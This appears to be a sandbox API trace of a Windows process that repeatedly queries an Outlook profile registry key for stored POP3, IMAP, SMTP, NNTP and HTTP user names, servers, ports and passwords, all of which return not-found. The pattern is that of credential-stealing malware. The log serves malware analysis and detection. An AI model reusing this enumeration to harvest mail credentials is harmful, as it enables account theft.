0x0 [0096.199] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.199] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.199] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.199] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.199] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.199] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.199] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.199] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.199] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.199] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.200] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.200] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.200] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.200] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.200] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.200] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.200] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.200] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.200] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.200] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.200] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.200] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.200] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.200] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.200] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.200] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.200] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.200] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.201] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.201] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.201] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.201] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.201] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.201] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.201] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.201] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.201] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.201] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.201] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.201] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.201] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.201] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.201] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.201] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.201] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.202] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.202] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.202] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.202] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.202] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.202] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.202] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.202] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.202] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.202] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.202] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.202] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.202] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.202] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.202] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.202] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.202] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.202] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.203] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.203] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.203] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.203] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.203] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.203] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.203] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.203] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.203] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.203] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.203] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.203] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.203] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.203] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.203] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.203] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.203] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.203] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.203] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.204] RegQueryValueExA (in: hKey=0x6f8, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.204] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.204] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.204] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.204] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.204] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.204] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.204] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.204] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.204] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.204] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.204] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.204] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.204] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.204] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.204] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.204] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.204] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.204] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.205] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.205] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.205] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.205] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.205] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.205] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.205] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.205] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.205] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.205] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.205] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.205] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.205] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.205] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.205] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.205] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.205] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.205] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.205] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.206] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.206] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.206] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.206] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.206] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.206] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.206] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.206] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.206] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.206] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.206] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.206] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.206] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.206] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.206] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.206] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.206] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.260] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.260] RegOpenKeyExA (in: hKey=0xffffffff80000001, 